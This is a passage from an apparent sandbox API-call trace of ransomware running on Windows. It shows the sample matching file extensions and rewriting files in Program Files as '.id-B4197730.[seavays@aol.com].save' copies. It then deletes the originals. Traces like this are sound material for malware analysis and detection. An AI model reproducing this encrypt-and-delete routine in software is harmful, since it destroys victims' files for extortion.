lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.836] lstrlenW (lpString=".1cd") returned 4 [0073.836] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.836] lstrlenW (lpString=".jpg") returned 4 [0073.836] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.388] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.388] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.390] GetLastError () returned 0x0 [0074.390] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0074.409] WriteFile (in: hFile=0x37c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0074.428] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.428] WriteFile (in: hFile=0x37c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xea, lpOverlapped=0x0) returned 1 [0074.428] SetEndOfFile (hFile=0x37c) returned 1 [0074.429] CloseHandle (hObject=0x37c) returned 1 [0074.429] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.429] SetEndOfFile (hFile=0x36c) returned 1 [0075.098] CloseHandle (hObject=0x36c) returned 1 [0075.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0075.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.099] lstrlenW (lpString=".doc") returned 4 [0075.099] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString=".docx") returned 5 [0075.099] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0075.099] lstrlenW (lpString=".pdf") returned 4 [0075.099] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString=".xls") returned 4 [0075.099] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString=".xlsx") returned 5 [0075.099] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0075.099] lstrlenW (lpString=".ppt") returned 4 [0075.099] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.099] lstrlenW (lpString=".zip") returned 4 [0075.099] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString=".rar") returned 4 [0075.099] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.099] lstrlenW (lpString=".bz2") returned 4 [0075.099] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.099] lstrlenW (lpString=".7z") returned 3 [0075.099] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.099] lstrlenW (lpString=".dbf") returned 4 [0075.099] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.099] lstrlenW (lpString=".1cd") returned 4 [0075.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0075.100] lstrlenW (lpString=".jpg") returned 4 [0075.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.101] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.101] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0075.103] GetLastError () returned 0x0 [0075.103] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x29080, lpOverlapped=0x0) returned 1 [0075.108] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x29090, lpOverlapped=0x0) returned 1 [0075.112] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.112] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe8, lpOverlapped=0x0) returned 1 [0075.113] SetEndOfFile (hFile=0x348) returned 1 [0075.113] CloseHandle (hObject=0x348) returned 1 [0075.113] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.113] SetEndOfFile (hFile=0x36c) returned 1 [0075.115] CloseHandle (hObject=0x36c) returned 1 [0075.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.116] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0075.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.116] lstrlenW (lpString=".doc") returned 4 [0075.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.116] lstrlenW (lpString=".docx") returned 5 [0075.116] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0075.116] lstrlenW (lpString=".pdf") returned 4 [0075.116] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.116] lstrlenW (lpString=".xls") returned 4 [0075.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.117] lstrlenW (lpString=".xlsx") returned 5 [0075.117] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0075.117] lstrlenW (lpString=".ppt") returned 4 [0075.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.117] lstrlenW (lpString=".zip") returned 4 [0075.117] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.117] lstrlenW (lpString=".rar") returned 4 [0075.117] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.117] lstrlenW (lpString=".bz2") returned 4 [0075.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.117] lstrlenW (lpString=".7z") returned 3 [0075.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.117] lstrlenW (lpString=".dbf") returned 4 [0075.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.117] lstrlenW (lpString=".1cd") returned 4 [0075.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0075.117] lstrlenW (lpString=".jpg") returned 4 [0075.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.118] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.119] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0075.119] GetLastError () returned 0x0 [0075.119] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4298, lpOverlapped=0x0) returned 1 [0075.122] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0075.123] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.123] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0075.124] SetEndOfFile (hFile=0x348) returned 1 [0075.124] CloseHandle (hObject=0x348) returned 1 [0075.124] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.124] SetEndOfFile (hFile=0x36c) returned 1 [0075.125] CloseHandle (hObject=0x36c) returned 1 [0075.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.126] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0075.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.126] lstrlenW (lpString=".doc") returned 4 [0075.126] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.126] lstrlenW (lpString=".docx") returned 5 [0075.126] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0075.126] lstrlenW (lpString=".pdf") returned 4 [0075.126] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString=".xls") returned 4 [0075.127] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.127] lstrlenW (lpString=".xlsx") returned 5 [0075.127] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0075.127] lstrlenW (lpString=".ppt") returned 4 [0075.127] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.127] lstrlenW (lpString=".zip") returned 4 [0075.127] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.127] lstrlenW (lpString=".rar") returned 4 [0075.127] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString=".bz2") returned 4 [0075.127] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString=".7z") returned 3 [0075.127] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.127] lstrlenW (lpString=".dbf") returned 4 [0075.127] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.127] lstrlenW (lpString=".1cd") returned 4 [0075.127] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0075.127] lstrlenW (lpString=".jpg") returned 4 [0075.127] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.128] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.128] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0075.129] GetLastError () returned 0x0 [0075.129] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x5898, lpOverlapped=0x0) returned 1 [0075.131] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x58a0, lpOverlapped=0x0) returned 1 [0075.133] ReadFile (in: hFile=0x36c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.133] WriteFile (in: hFile=0x348, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.133] SetEndOfFile (hFile=0x348) returned 1 [0075.133] CloseHandle (hObject=0x348) returned 1 [0075.133] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.133] SetEndOfFile (hFile=0x36c) returned 1 [0075.134] CloseHandle (hObject=0x36c) returned 1 [0075.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.134] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.135] lstrlenW (lpString=".doc") returned 4 [0075.135] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0075.135] lstrlenW (lpString=".docx") returned 5 [0075.135] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0075.135] lstrlenW (lpString=".pdf") returned 4 [0075.135] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0075.135] lstrlenW (lpString=".xls") returned 4 [0075.135] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0075.135] lstrlenW (lpString=".xlsx") returned 5 [0075.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0075.135] lstrlenW (lpString=".ppt") returned 4 [0075.135] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0075.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.135] lstrlenW (lpString=".zip") returned 4 [0075.135] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0075.135] lstrlenW (lpString=".rar") returned 4 [0075.135] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0075.135] lstrlenW (lpString=".bz2") returned 4 [0075.135] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0075.135] lstrlenW (lpString=".7z") returned 3 [0075.135] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0075.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.136] lstrlenW (lpString=".dbf") returned 4 [0075.136] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0075.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.136] lstrlenW (lpString=".1cd") returned 4 [0075.136] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0075.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0075.136] lstrlenW (lpString=".jpg") returned 4 [0075.136] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0075.592] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.592] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.592] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0075.594] GetLastError () returned 0x0 [0075.594] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xfa840, lpOverlapped=0x0) returned 1 [0075.619] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xfa850, lpOverlapped=0x0) returned 1 [0075.967] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.967] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf2, lpOverlapped=0x0) returned 1 [0075.967] SetEndOfFile (hFile=0x36c) returned 1 [0075.968] CloseHandle (hObject=0x36c) returned 1 [0075.968] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.968] SetEndOfFile (hFile=0x370) returned 1 [0075.976] CloseHandle (hObject=0x370) returned 1 [0075.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.976] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0075.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.977] lstrlenW (lpString=".doc") returned 4 [0075.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.977] lstrlenW (lpString=".docx") returned 5 [0075.977] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0075.977] lstrlenW (lpString=".pdf") returned 4 [0075.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.977] lstrlenW (lpString=".xls") returned 4 [0075.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.977] lstrlenW (lpString=".xlsx") returned 5 [0075.977] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0075.977] lstrlenW (lpString=".ppt") returned 4 [0075.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.977] lstrlenW (lpString=".zip") returned 4 [0075.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.978] lstrlenW (lpString=".rar") returned 4 [0075.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.978] lstrlenW (lpString=".bz2") returned 4 [0075.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.978] lstrlenW (lpString=".7z") returned 3 [0075.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.978] lstrlenW (lpString=".dbf") returned 4 [0075.978] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.978] lstrlenW (lpString=".1cd") returned 4 [0075.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63 [0075.978] lstrlenW (lpString=".jpg") returned 4 [0075.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.326] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.326] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.327] GetLastError () returned 0x0 [0076.327] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x6040, lpOverlapped=0x0) returned 1 [0076.335] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x6050, lpOverlapped=0x0) returned 1 [0076.337] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.337] WriteFile (in: hFile=0x370, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0076.337] SetEndOfFile (hFile=0x370) returned 1 [0076.337] CloseHandle (hObject=0x370) returned 1 [0076.337] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.337] SetEndOfFile (hFile=0x2e8) returned 1 [0076.338] CloseHandle 